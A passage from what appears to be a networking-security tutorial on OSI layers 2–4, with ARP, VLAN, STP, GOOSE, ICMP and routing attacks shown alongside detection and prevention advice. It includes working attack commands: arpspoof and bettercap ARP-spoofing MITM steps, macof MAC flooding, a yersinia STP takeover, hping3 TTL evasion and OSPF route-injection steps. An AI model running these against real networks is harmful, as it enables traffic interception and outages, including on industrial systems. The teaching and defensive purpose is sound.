&lt;li&gt;Switch reads destination MAC → looks up in MAC table&lt;/li&gt;
&lt;li&gt;If found → forward frame only to that port (unicast)&lt;/li&gt;
&lt;li&gt;If not found → flood frame to all ports except source port (unknown unicast)&lt;/li&gt;
&lt;li&gt;If destination is broadcast (FF:FF:FF:FF:FF:FF) → flood to all ports
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View switch MAC address table (Cisco IOS)&lt;/span&gt;
show mac address-table
show mac address-table dynamic         &lt;span class="c"&gt;# Only learned entries&lt;/span&gt;
show mac address-table address &amp;lt;MAC&amp;gt;   &lt;span class="c"&gt;# Find which port a MAC is on&lt;/span&gt;

&lt;span class="c"&gt;# On Linux acting as a bridge&lt;/span&gt;
bridge fdb show                        &lt;span class="c"&gt;# Show forwarding database&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 ARP — Address Resolution Protocol
&lt;/h3&gt;

&lt;p&gt;ARP resolves IPv4 addresses to MAC addresses. When a device wants to send an IP packet to another device on the same subnet, it needs the MAC address to construct the Ethernet frame.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ARP Request (broadcast):
  Who has 192.168.1.1? Tell 192.168.1.5

  [Src MAC: AA:BB:CC:DD:EE:FF]
  [Dst MAC: FF:FF:FF:FF:FF:FF]  ← Broadcast
  [EtherType: 0x0806]
  [Operation: Request (1)]
  [Sender MAC: AA:BB:CC:DD:EE:FF]
  [Sender IP:  192.168.1.5]
  [Target MAC: 00:00:00:00:00:00]  ← Unknown
  [Target IP:  192.168.1.1]

ARP Reply (unicast):
  192.168.1.1 is at 11:22:33:44:55:66

  [Src MAC: 11:22:33:44:55:66]
  [Dst MAC: AA:BB:CC:DD:EE:FF]  ← Direct to requester
  [EtherType: 0x0806]
  [Operation: Reply (2)]
  [Sender MAC: 11:22:33:44:55:66]
  [Sender IP:  192.168.1.1]
  [Target MAC: AA:BB:CC:DD:EE:FF]
  [Target IP:  192.168.1.5]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The critical security flaw in ARP:&lt;/strong&gt;&lt;br&gt;
ARP has &lt;strong&gt;no authentication&lt;/strong&gt;. Any device can send an ARP reply claiming any IP-to-MAC mapping. Devices accept and cache unsolicited ARP replies without verification. This is the foundation of ARP spoofing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View ARP cache&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                              &lt;span class="c"&gt;# Linux/Windows&lt;/span&gt;
ip neigh show                       &lt;span class="c"&gt;# Linux (modern)&lt;/span&gt;

&lt;span class="c"&gt;# ARP spoofing with arpspoof (dsniff package)&lt;/span&gt;
&lt;span class="c"&gt;# This tells all hosts on the network that 192.168.1.1 (gateway)&lt;/span&gt;
&lt;span class="c"&gt;# is at the attacker's MAC address:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.0/24 192.168.1.1
&lt;span class="c"&gt;# AND tell the gateway that all hosts are at attacker's MAC:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.1 192.168.1.0/24

&lt;span class="c"&gt;# Enable IP forwarding so the attacker machine actually forwards the traffic:&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/net/ipv4/ip_forward

&lt;span class="c"&gt;# Now all traffic between hosts and gateway passes through attacker → MITM&lt;/span&gt;

&lt;span class="c"&gt;# More modern tool: Bettercap&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; eth0
&lt;span class="c"&gt;# bettercap&amp;gt; net.probe on&lt;/span&gt;
&lt;span class="c"&gt;# bettercap&amp;gt; arp.spoof.targets 192.168.1.0/24&lt;/span&gt;
&lt;span class="c"&gt;# bettercap&amp;gt; arp.spoof on&lt;/span&gt;
&lt;span class="c"&gt;# bettercap&amp;gt; net.sniff on&lt;/span&gt;

&lt;span class="c"&gt;# Detection: monitor ARP traffic for duplicate IP-to-MAC mappings&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpwatch &lt;span class="nt"&gt;-i&lt;/span&gt; eth0               &lt;span class="c"&gt;# Alerts on ARP anomalies&lt;/span&gt;
&lt;span class="c"&gt;# Or in Wireshark: filter "arp" and look for:&lt;/span&gt;
&lt;span class="c"&gt;# - Same IP claimed by two different MACs&lt;/span&gt;
&lt;span class="c"&gt;# - High frequency of gratuitous ARP replies&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.5 Layer 2 Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;MAC Flooding (CAM Table Overflow):&lt;/strong&gt;&lt;br&gt;
A switch's MAC table has finite capacity (typically 8,000-128,000 entries). If an attacker floods the switch with frames containing random source MAC addresses, the table fills up. When the table is full, the switch cannot learn new MAC addresses and falls back to flooding ALL frames to ALL ports — behaving like a hub.&lt;/p&gt;

&lt;p&gt;Result: The attacker's NIC in promiscuous mode receives all traffic on the switch, including traffic between other devices.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# MAC flooding with macof (dsniff)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;macof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0                  &lt;span class="c"&gt;# Floods with random MAC frames&lt;/span&gt;
&lt;span class="c"&gt;# Generates ~155,000 packets/second&lt;/span&gt;
&lt;span class="c"&gt;# Most modern switches have MAC flooding protection (port security)&lt;/span&gt;
&lt;span class="c"&gt;# but legacy switches and some industrial switches do not&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;VLAN Hopping:&lt;/strong&gt;&lt;br&gt;
Two methods to reach VLANs an attacker should not have access to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 1: Switch Spoofing&lt;/strong&gt;&lt;br&gt;
If a switch port is configured as "dynamic" (DTP — Dynamic Trunking Protocol enabled), an attacker can negotiate a trunk link with the switch, receiving traffic from ALL VLANs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal access port: carries traffic for one VLAN only
Trunk port: carries traffic for multiple VLANs (tagged with 802.1Q)

Attack: Send DTP packets to negotiate trunk mode on an access port
Result: Attacker receives all VLANs

Prevention: Explicitly disable DTP — configure ports as access or trunk, never dynamic
Cisco: switchport nonegotiate
      switchport mode access  (for access ports)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Method 2: Double Tagging&lt;/strong&gt;&lt;br&gt;
Works only if the attacker is on the native VLAN of a trunk port. The attacker sends a frame with TWO 802.1Q tags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Outer tag: native VLAN (removed by first switch)&lt;/li&gt;
&lt;li&gt;Inner tag: target VLAN (forwarded by second switch)
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker frame: [Outer Tag: VLAN 1][Inner Tag: VLAN 100][Payload]

Switch 1: Removes outer tag (VLAN 1 is native, strip tag), forwards
Switch 2: Sees inner tag VLAN 100, forwards to VLAN 100

The reply cannot return via this method (unidirectional)
But for sending traffic (injecting attacks, DoS), this works

Prevention: Never use VLAN 1 as native VLAN
            Change native VLAN to an unused VLAN (e.g., VLAN 999)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;STP Attacks — Spanning Tree Protocol:&lt;/strong&gt;&lt;br&gt;
STP (IEEE 802.1D) prevents Layer 2 loops in networks with redundant paths. It elects a &lt;strong&gt;root bridge&lt;/strong&gt; and blocks redundant links. If the root bridge changes, STP reconverges — temporarily disrupting the network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;STP attack: Send BPDUs &lt;span class="o"&gt;(&lt;/span&gt;Bridge Protocol Data Units&lt;span class="o"&gt;)&lt;/span&gt; with a lower
            bridge priority than the current root bridge
Result:     Attacker&lt;span class="s1"&gt;'s machine becomes the root bridge
            Traffic reroutes through attacker'&lt;/span&gt;s machine → MITM
            STP reconvergence causes network disruption &lt;span class="o"&gt;(&lt;/span&gt;seconds to minutes&lt;span class="o"&gt;)&lt;/span&gt;

Tools: Yersinia &lt;span class="o"&gt;(&lt;/span&gt;Layer 2 attack tool — STP, CDP, VTP, DTP attacks&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;yersinia &lt;span class="nt"&gt;-G&lt;/span&gt;                    &lt;span class="c"&gt;# GUI mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;yersinia stp &lt;span class="nt"&gt;-attack&lt;/span&gt; 0        &lt;span class="c"&gt;# Send superior BPDUs to become root bridge&lt;/span&gt;

Prevention:
  BPDU Guard: Disable port &lt;span class="k"&gt;if &lt;/span&gt;BPDU received on access port &lt;span class="o"&gt;(&lt;/span&gt;PortFast ports&lt;span class="o"&gt;)&lt;/span&gt;
  Root Guard: Prevent specific ports from becoming root bridge ports
  BPDU Filter: Don&lt;span class="s1"&gt;'t send/receive BPDUs on specific ports
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;LLDP/CDP Information Disclosure:&lt;/strong&gt;&lt;br&gt;
LLDP (Link Layer Discovery Protocol, IEEE 802.1AB) and CDP (Cisco Discovery Protocol) are L2 protocols that advertise device information to neighbours.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture LLDP packets to enumerate network devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 ether proto 0x88cc &lt;span class="nt"&gt;-v&lt;/span&gt;    &lt;span class="c"&gt;# LLDP EtherType&lt;/span&gt;
&lt;span class="c"&gt;# Reveals: device name, port description, VLAN info, IP address, hardware model&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark filter: lldp or cdp&lt;/span&gt;
&lt;span class="c"&gt;# In a corporate network, CDP/LLDP can reveal the entire network topology&lt;/span&gt;

&lt;span class="c"&gt;# Prevention: Disable CDP/LLDP on untrusted ports (user-facing ports)&lt;/span&gt;
&lt;span class="c"&gt;# Cisco: no cdp enable  (per interface)&lt;/span&gt;
&lt;span class="c"&gt;# Linux: sudo lldpad -d; lldptool -L -i eth0 adminStatus=disabled&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.6 Layer 2 in OT/ICS
&lt;/h3&gt;

&lt;p&gt;Industrial Ethernet increasingly uses standard Layer 2 (Ethernet II with 802.1Q). However:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GOOSE and Sampled Values (IEC 61850):&lt;/strong&gt;&lt;br&gt;
These are Layer 2 protocols — they do NOT use IP. They are sent directly as Ethernet frames with EtherType 0x88BA (GOOSE) and 0x88CD (Sampled Values). This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;They cannot be filtered by IP firewalls&lt;/li&gt;
&lt;li&gt;They cannot be encrypted with TLS (which requires IP)&lt;/li&gt;
&lt;li&gt;They traverse the Layer 2 domain freely&lt;/li&gt;
&lt;li&gt;An attacker with Layer 2 access can inject, replay, or suppress GOOSE messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;GOOSE messages carry protection relay status. A relay detecting a fault sends a GOOSE message instructing other relays and breakers to trip. Injecting a false GOOSE message can cause protective relays to trip unnecessarily — causing outages. Suppressing GOOSE messages prevents relays from tripping during an actual fault — causing equipment damage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is why IEC 62351 exists&lt;/strong&gt; — it defines security for IEC 61850, including GOOSE message authentication using HMAC-SHA256. Adoption is growing but far from universal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;IEC 62351-6 GOOSE Security:
  - Authentication tag appended to GOOSE message
  - HMAC-SHA256 using pre-shared key or certificate-based key
  - Prevents injection and modification
  - Does NOT prevent replay &lt;span class="o"&gt;(&lt;/span&gt;separate mechanism needed&lt;span class="o"&gt;)&lt;/span&gt;
  - Performance impact: minimal on modern hardware, significant on legacy IEDs

Checking &lt;span class="k"&gt;for &lt;/span&gt;GOOSE &lt;span class="k"&gt;in &lt;/span&gt;a capture:
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 ether proto 0x88ba   &lt;span class="c"&gt;# GOOSE frames&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 2 is the most dangerous layer for lateral movement on a LAN. ARP has no authentication. STP has no authentication. VLANs can be hopped. MAC tables can be flooded. All of this happens before any IP firewall or IDS can see the traffic. In OT environments, IEC 61850 GOOSE running at Layer 2 with no authentication represents a direct path to physical consequence. Detecting Layer 2 attacks requires monitoring at Layer 2 — which most organisations fail to implement.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Layer 3 — Network
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 What Layer 3 Does
&lt;/h3&gt;

&lt;p&gt;Layer 3 enables communication between devices on &lt;strong&gt;different&lt;/strong&gt; networks. While Layer 2 handles same-segment communication, Layer 3 handles routing — forwarding packets across multiple networks to reach a destination anywhere in the world.&lt;/p&gt;

&lt;p&gt;Layer 3 introduces &lt;strong&gt;logical addressing&lt;/strong&gt; — IP addresses — which are independent of hardware and can be assigned, changed, and structured hierarchically. This hierarchy (networks, subnets) enables the internet's routing system to scale to billions of devices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 devices:&lt;/strong&gt; Routers. A router has multiple Layer 3 interfaces, each on a different network. It examines the destination IP of every incoming packet and forwards it toward the destination based on its routing table.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 IP — Internet Protocol
&lt;/h3&gt;

&lt;p&gt;IP is the fundamental Layer 3 protocol. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Addressing:&lt;/strong&gt; Source and destination IP addresses&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Routing:&lt;/strong&gt; TTL, fragmentation, options for routing decisions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectionless delivery:&lt;/strong&gt; No guarantee of delivery, ordering, or error-free transmission (that is TCP's job at L4)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IPv4 header fields critical for security (full header covered in 1.1):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TTL (Time to Live):&lt;/strong&gt;&lt;br&gt;
Decremented by each router. Prevents infinite routing loops. OS fingerprinting uses initial TTL values (Linux=64, Windows=128, Cisco=255). When TTL reaches 0, router sends ICMP Time Exceeded and drops the packet.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# TTL manipulation in attacks:&lt;/span&gt;
&lt;span class="c"&gt;# Tools like hping3 allow setting arbitrary TTL values&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--ttl&lt;/span&gt; 1 target_ip            &lt;span class="c"&gt;# Packet dies at first hop (ICMP Time Exceeded response reveals first router)&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--ttl&lt;/span&gt; 255 target_ip          &lt;span class="c"&gt;# Maximum TTL, reaches anywhere&lt;/span&gt;

&lt;span class="c"&gt;# TTL-based evasion: some IDSs only inspect packets with TTL &amp;gt; threshold&lt;/span&gt;
&lt;span class="c"&gt;# Sending packets with very low TTL that will die before reaching IDS but&lt;/span&gt;
&lt;span class="c"&gt;# be processed by the target if the target is "behind" the IDS&lt;/span&gt;
&lt;span class="c"&gt;# This is the basis of "TTL manipulation" IDS evasion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fragmentation:&lt;/strong&gt;&lt;br&gt;
IP packets can be fragmented when they exceed the MTU of a link. The receiving end reassembles fragments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Original packet: 4000 bytes (exceeds MTU 1500)

Fragment 1: [IP Header: offset=0, MF=1][1480 bytes of data]
Fragment 2: [IP Header: offset=185, MF=1][1480 bytes of data]
Fragment 3: [IP Header: offset=370, MF=0][1040 bytes of data]

MF = More Fragments flag
offset = where this fragment fits in the original packet (in 8-byte units)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fragmentation attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Teardrop (CVE-1999):&lt;/strong&gt; Overlapping fragment offsets cause kernel crash during reassembly. Patched in modern OSes but relevant for legacy embedded OT devices.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fragmentation evasion:&lt;/strong&gt; Send a signature-triggering payload split across fragments. Some IDS systems don't reassemble fragments before signature matching.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tiny fragment attack:&lt;/strong&gt; Force TCP header into second fragment. The first fragment is too small to contain enough of the TCP header for access control decisions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.3 ICMP — Internet Control Message Protocol
&lt;/h3&gt;

&lt;p&gt;ICMP is the error-reporting and diagnostic protocol at Layer 3. It runs directly over IP (protocol number 1) and has no ports.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ICMP Types critical for security:
Type 0:  Echo Reply          ← Response to ping
Type 3:  Destination Unreachable
  Code 0: Net Unreachable    ← Routing problem
  Code 1: Host Unreachable   ← Host down or blocked
  Code 3: Port Unreachable   ← No service listening (UDP)
  Code 4: Fragmentation Needed ← MTU discovery
  Code 13: Communication Administratively Prohibited ← Firewall block
Type 5:  Redirect            ← Router telling host to use different route
Type 8:  Echo Request        ← Ping
Type 11: Time Exceeded       ← TTL expired (traceroute mechanism)
Type 13: Timestamp Request
Type 17: Address Mask Request
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ICMP Redirect Attack:&lt;/strong&gt;&lt;br&gt;
ICMP Type 5 allows a router to tell a host "use a different gateway for this destination." An attacker can send spoofed ICMP Redirect messages to reroute traffic through the attacker's machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Observe ICMP traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 icmp &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Send ICMP ping with specific options&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1
hping3 &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1         &lt;span class="c"&gt;# ICMP ping using hping3&lt;/span&gt;

&lt;span class="c"&gt;# Test firewall ICMP filtering&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 target                   &lt;span class="c"&gt;# ICMP Echo → response tells if host is up&lt;/span&gt;
hping3 &lt;span class="nt"&gt;-S&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 target             &lt;span class="c"&gt;# TCP SYN to port 80 → use when ICMP is blocked&lt;/span&gt;

&lt;span class="c"&gt;# ICMP tunnel — exfiltrate data in ICMP payloads&lt;/span&gt;
&lt;span class="c"&gt;# icmptunnel, ptunnel — tools that tunnel IP traffic inside ICMP&lt;/span&gt;
&lt;span class="c"&gt;# Commonly used to bypass captive portals and restrictive firewalls&lt;/span&gt;
&lt;span class="c"&gt;# Detection: ICMP packets with large or unusual payloads&lt;/span&gt;
&lt;span class="c"&gt;# Normal ping payload: 32-64 bytes&lt;/span&gt;
&lt;span class="c"&gt;# ICMP tunnel payload: up to 1400 bytes, consistent size, high frequency&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Routing and Routing Protocols
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Static routing:&lt;/strong&gt; Administrator manually configures routes. Stable, predictable, but doesn't adapt to topology changes. Common in small networks and OT environments where predictability matters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dynamic routing protocols:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Used In&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RIP v2&lt;/td&gt;
&lt;td&gt;L7 over UDP&lt;/td&gt;
&lt;td&gt;Distance vector&lt;/td&gt;
&lt;td&gt;Legacy, small networks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OSPF&lt;/td&gt;
&lt;td&gt;L3 (IP proto 89)&lt;/td&gt;
&lt;td&gt;Link state&lt;/td&gt;
&lt;td&gt;Enterprise, campus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EIGRP&lt;/td&gt;
&lt;td&gt;L3 (IP proto 88)&lt;/td&gt;
&lt;td&gt;Hybrid&lt;/td&gt;
&lt;td&gt;Cisco networks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BGP&lt;/td&gt;
&lt;td&gt;L7 over TCP 179&lt;/td&gt;
&lt;td&gt;Path vector&lt;/td&gt;
&lt;td&gt;Internet, ISPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IS-IS&lt;/td&gt;
&lt;td&gt;L2 (directly)&lt;/td&gt;
&lt;td&gt;Link state&lt;/td&gt;
&lt;td&gt;ISP backbone, large enterprise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Routing protocol attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OSPF Route Injection:&lt;/strong&gt;&lt;br&gt;
OSPF authenticates with MD5 or plain text passwords. In many deployments, authentication is disabled entirely. An attacker who can send OSPF packets (by being on the same L2 segment as a router, or by compromising a router) can inject false routes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;OSPF attack scenario:
1. Attacker joins OSPF domain &lt;span class="o"&gt;(&lt;/span&gt;sends Hello packets with Area ID&lt;span class="o"&gt;)&lt;/span&gt;
2. If authentication disabled or key known → attacker becomes OSPF neighbour
3. Attacker advertises route with low cost to a critical subnet
4. All routers update their routing tables to send traffic through attacker
5. MITM or traffic black-hole achieved at routing level

Tools: Scapy &lt;span class="o"&gt;(&lt;/span&gt;craft OSPF packets&lt;span class="o"&gt;)&lt;/span&gt;, FRRouting &lt;span class="o"&gt;(&lt;/span&gt;full routing suite&lt;span class="o"&gt;)&lt;/span&gt;
Detection: Monitor &lt;span class="k"&gt;for &lt;/span&gt;new OSPF neighbours, unexpected route changes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;BGP Hijacking (covered in 1.1):&lt;/strong&gt; Advertising false routes for IP ranges you don't own. RPKI (Resource Public Key Infrastructure) provides cryptographic route origin validation.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 IPSec — Layer 3 Security
&lt;/h3&gt;

&lt;p&gt;IPSec is the native security protocol for Layer 3. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authentication Header (AH, protocol 51):&lt;/strong&gt; Integrity and authentication, no encryption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encapsulating Security Payload (ESP, protocol 50):&lt;/strong&gt; Encryption + integrity + authentication&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internet Key Exchange (IKE, UDP 500):&lt;/strong&gt; Key negotiation protocol&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Two modes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Transport mode:&lt;/strong&gt; Encrypts only the payload, original IP header visible — used for end-to-end between hosts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tunnel mode:&lt;/strong&gt; Encrypts entire IP packet, adds new IP header — used for VPN gateways
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check IPSec SA (Security Association) status&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip xfrm state list             &lt;span class="c"&gt;# Linux (xfrm = transform framework)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip xfrm policy list            &lt;span class="c"&gt;# IPSec policies&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark filters for IPSec:&lt;/span&gt;
&lt;span class="c"&gt;# esp  → show ESP traffic (encrypted, but you can see headers)&lt;/span&gt;
&lt;span class="c"&gt;# isakmp → show IKE key exchange&lt;/span&gt;
&lt;span class="c"&gt;# If you have the keys, Wireshark can decrypt ESP traffic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 3 is where routing decisions happen, and routing decisions control which paths traffic takes. Controlling routing at L3 gives an attacker traffic interception capabilities at internet scale (BGP hijacking) or network scale (OSPF injection). Most networks deploy strong perimeter security at L3 (firewalls, ACLs) but have minimal protection for the routing protocols themselves. In OT networks, routers between zones should use authenticated routing protocols — but rarely do.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Layer 4 — Transport
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What Layer 4 Does
&lt;/h3&gt;

&lt;p&gt;Layer 4 is where application-to-application communication is implemented. While Layer 3 gets a packet between two machines, Layer 4 gets data between two specific &lt;strong&gt;processes&lt;/strong&gt; running on those machines. It introduces:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Port numbers:&lt;/strong&gt; Identify which application (process) should receive the data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multiplexing:&lt;/strong&gt; Multiple applications can use the network simultaneously on the same machine&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connection management (TCP):&lt;/strong&gt; Establishing, maintaining, and terminating connections&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reliability (TCP):&lt;/strong&gt; Acknowledgements, retransmission, flow control, congestion control&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectionless delivery (UDP):&lt;/strong&gt; Minimal overhead, no guarantees&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.2 Port Numbers
&lt;/h3&gt;

&lt;p&gt;Ports are 16-bit numbers (0-65535) that identify specific applications or services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Port ranges:
  0-1023:     Well-Known Ports (require root/admin to bind)
  1024-49151: Registered Ports (IANA registered applications)
  49152-65535: Dynamic/Ephemeral Ports (used by clients for outgoing connections)

Critical well-known ports — know these cold:
  20/TCP  → FTP Data
  21/TCP  → FTP Control
  22/TCP  → SSH
  23/TCP  → Telnet (INSECURE)
  25/TCP  → SMTP (mail sending)
  53/TCP+UDP → DNS
  67/UDP  → DHCP Server
  68/UDP  → DHCP Client
  69/UDP  → TFTP (trivial FTP — no auth, often misconfigured)
  80/TCP  → HTTP
  88/TCP  → Kerberos
  110/TCP → POP3 (email retrieval)
  111/TCP+UDP → RPC (Remote Procedure Call)
